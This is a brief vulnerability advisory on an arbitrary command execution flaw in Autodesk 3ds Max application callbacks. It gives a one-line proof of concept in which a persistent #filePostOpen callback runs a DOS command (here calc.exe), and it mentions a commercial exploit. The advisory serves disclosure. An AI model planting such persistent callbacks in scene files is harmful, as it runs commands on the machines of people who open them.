Autodesk 3ds Max Application Callbacks Arbitrary Command Execution Vulnerability

Autodesk 3ds Max Application Callbacks Arbitrary Command Execution Vulnerability

The following proof-of-concept code is available:

callbacks.addScript #filePostOpen ("DOSCommand(\"calc.exe\")") id:#mbLoadCallback persistent:true

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.